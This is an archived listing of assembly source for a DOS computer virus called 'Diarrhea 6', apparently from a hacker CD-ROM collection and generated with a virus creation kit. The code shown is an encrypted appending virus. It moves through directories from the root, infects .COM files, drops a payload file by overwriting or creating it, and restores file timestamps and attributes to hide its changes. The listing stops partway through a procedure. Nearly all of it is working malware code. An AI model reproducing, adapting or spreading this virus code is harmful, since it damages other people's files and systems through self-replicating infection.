home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / DIARRHE6.ASM < prev    next >
Assembly Source File  |  1992-08-07  |  20KB  |  453 lines

  1. ; DIARRHE6.ASM -- DIARRHEA 6
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by URNST KOUCH
  4.  
  5. virus_type      equ     0                       ; Appending Virus
  6. is_encrypted    equ     1                       ; We're encrypted
  7. tsr_virus       equ     0                       ; We're not TSR
  8.  
  9. code            segment byte public
  10.         assume  cs:code,ds:code,es:code,ss:code
  11.         org     0100h
  12.  
  13. main            proc    near
  14.         db      0E9h,00h,00h            ; Near jump (for compatibility)
  15. start:          call    find_offset             ; Like a PUSH IP
  16. find_offset:    pop     bp                      ; BP holds old IP
  17.         sub     bp,offset find_offset   ; Adjust for length of host
  18.  
  19.         call    encrypt_decrypt         ; Decrypt the virus
  20.  
  21. start_of_code   label   near
  22.  
  23.         lea     si,[bp + buffer]        ; SI points to original start
  24.         mov     di,0100h                ; Push 0100h on to stack for
  25.         push    di                      ; return to main program
  26.         movsw                           ; Copy the first two bytes
  27.         movsb                           ; Copy the third byte
  28.  
  29.         mov     di,bp                   ; DI points to start of virus
  30.  
  31.         mov     bp,sp                   ; BP points to stack
  32.         sub     sp,128                  ; Allocate 128 bytes on stack
  33.  
  34.         mov     ah,02Fh                 ; DOS get DTA function
  35.         int     021h
  36.         push    bx                      ; Save old DTA address on stack
  37.  
  38.         mov     ah,01Ah                 ; DOS set DTA function
  39.         lea     dx,[bp - 128]           ; DX points to buffer on stack
  40.         int     021h
  41.  
  42.         call    search_files            ; Find and infect a file
  43.         call    search_files            ; Find and infect another file
  44.         lea     dx,[di + data00]        ; DX points to data
  45.         lea     si,[di + data01]        ; SI points to data
  46.         push    di                      ; Save DI
  47.         mov     ah,02Fh                 ; DOS get DTA function
  48.         int     021h
  49.         mov     di,bx                   ; DI points to DTA
  50.         mov     ah,04Eh                 ; DOS find first file function
  51.         mov     cx,00100111b            ; CX holds all file attributes
  52.         int     021h
  53.         jc      create_file             ; If not found then create it
  54. write_in_file:  mov     ax,04301h               ; DOS set file attributes function
  55.         xor     cx,cx                   ; File will have no attributes
  56.         lea     dx,[di + 01Eh]          ; DX points to file name
  57.         int     021h
  58.         mov     ax,03D01h               ; DOS open file function, write
  59.         lea     dx,[di + 01Eh]          ; DX points to file name
  60.         int     021h
  61.         xchg    bx,ax                   ; Transfer file handle to AX
  62.         mov     ah,040h                 ; DOS write to file function
  63.         mov     cx,[si]                 ; CX holds number of byte to write
  64.         lea     dx,[si + 2]             ; DX points to the data
  65.         int     021h
  66.         mov     ax,05701h               ; DOS set file date/time function
  67.         mov     cx,[di + 016h]          ; CX holds old file time
  68.         mov     dx,[di + 018h]          ; DX holds old file data
  69.         int     021h
  70.         mov     ah,03Eh                 ; DOS close file function
  71.         int     021h
  72.         mov     ax,04301h               ; DOS set file attributes function
  73.         xor     ch,ch                   ; Clear CH for attributes
  74.         mov     cl,[di + 015h]          ; CL holds old attributes
  75.         lea     dx,[di + 01Eh]          ; DX points to file name
  76.         int     021h
  77.         mov     ah,04Fh                 ; DOS find next file function
  78.         int     021h
  79.         jnc     write_in_file           ; If successful do next file
  80.         jmp     short dropper_end       ; Otherwise exit
  81. create_file:    mov     ah,03Ch                 ; DOS create file function
  82.         xor     cx,cx                   ; File has no attributes
  83.         int     021h
  84.         xchg    bx,ax                   ; Transfer file handle to AX
  85.         mov     ah,040h                 ; DOS write to file function
  86.         mov     cx,[si]                 ; CX holds number of byte to write
  87.         lea     dx,[si + 2]             ; DX points to the data
  88.         int     021h
  89.         mov     ah,03Eh                 ; DOS close file function
  90.         int     021h
  91. dropper_end:    pop     di                      ; Restore DI
  92.  
  93.  
  94. com_end:        pop     dx                      ; DX holds original DTA address
  95.         mov     ah,01Ah                 ; DOS set DTA function
  96.         int     021h
  97.  
  98.         mov     sp,bp                   ; Deallocate local buffer
  99.  
  100.         xor     ax,ax                   ;
  101.         mov     bx,ax                   ;
  102.         mov     cx,ax                   ;
  103.         mov     dx,ax                   ; Empty out the registers
  104.         mov     si,ax                   ;
  105.         mov     di,ax                   ;
  106.         mov     bp,ax                   ;
  107.  
  108.         ret                             ; Return to original program
  109. main            endp
  110.  
  111. search_files    proc    near
  112.         push    bp                      ; Save BP
  113.         mov     bp,sp                   ; BP points to local buffer
  114.         sub     sp,64                   ; Allocate 64 bytes on stack
  115.  
  116.         mov     ah,047h                 ; DOS get current dir function
  117.         xor     dl,dl                   ; DL holds drive # (current)
  118.         lea     si,[bp - 64]            ; SI points to 64-byte buffer
  119.         int     021h
  120.  
  121.         mov     ah,03Bh                 ; DOS change directory function
  122.         lea     dx,[di + root]          ; DX points to root directory
  123.         int     021h
  124.  
  125.         call    traverse                ; Start the traversal
  126.  
  127.         mov     ah,03Bh                 ; DOS change directory function
  128.         lea     dx,[bp - 64]            ; DX points to old directory
  129.         int     021h
  130.  
  131.         mov     sp,bp                   ; Restore old stack pointer
  132.         pop     bp                      ; Restore BP
  133.         ret                             ; Return to caller
  134.  
  135. root            db      "\",0                   ; Root directory
  136. search_files    endp
  137.  
  138. traverse        proc    near
  139.         push    bp                      ; Save BP
  140.  
  141.         mov     ah,02Fh                 ; DOS get DTA function
  142.         int     021h
  143.         push    bx                      ; Save old DTA address
  144.  
  145.         mov     bp,sp                   ; BP points to local buffer
  146.         sub     sp,128                  ; Allocate 128 bytes on stack
  147.  
  148.         mov     ah,01Ah                 ; DOS set DTA function
  149.         lea     dx,[bp - 128]           ; DX points to buffer
  150.         int     021h
  151.  
  152.         mov     ah,04Eh                 ; DOS find first function
  153.         mov     cx,00010000b            ; CX holds search attributes
  154.         lea     dx,[di + all_files]     ; DX points to "*.*"
  155.         int     021h
  156.         jc      leave_traverse          ; Leave if no files present
  157.  
  158. check_dir:      cmp     byte ptr [bp - 107],16  ; Is the file a directory?
  159.         jne     another_dir             ; If not, try again
  160.         cmp     byte ptr [bp - 98],'.'  ; Did we get a "." or ".."?
  161.         je      another_dir             ;If so, keep going
  162.  
  163.         mov     ah,03Bh                 ; DOS change directory function
  164.         lea     dx,[bp - 98]            ; DX points to new directory
  165.         int     021h
  166.  
  167.         call    traverse                ; Recursively call ourself
  168.  
  169.         pushf                           ; Save the flags
  170.         mov     ah,03Bh                 ; DOS change directory function
  171.         lea     dx,[di + up_dir]        ; DX points to parent directory
  172.         int     021h
  173.         popf                            ; Restore the flags
  174.  
  175.         jnc     done_searching          ; If we infected then exit
  176.  
  177. another_dir:    mov     ah,04Fh                 ; DOS find next function
  178.         int     021h
  179.         jnc     check_dir               ; If found check the file
  180.  
  181. leave_traverse:
  182.         lea     dx,[di + com_mask]      ; DX points to "*.COM"
  183.         call    find_files              ; Try to infect a file
  184. done_searching: mov     sp,bp                   ; Restore old stack frame
  185.         mov     ah,01Ah                 ; DOS set DTA function
  186.         pop     dx                      ; Retrieve old DTA address
  187.         int     021h
  188.  
  189.         pop     bp                      ; Restore BP
  190.         ret                             ; Return to caller
  191.  
  192. up_dir          db      "..",0                  ; Parent directory name
  193. all_files       db      "*.*",0                 ; Directories to search for
  194. com_mask        db      "*.COM",0               ; Mask for all .COM files
  195. traverse        endp
  196.  
  197. find_files      proc    n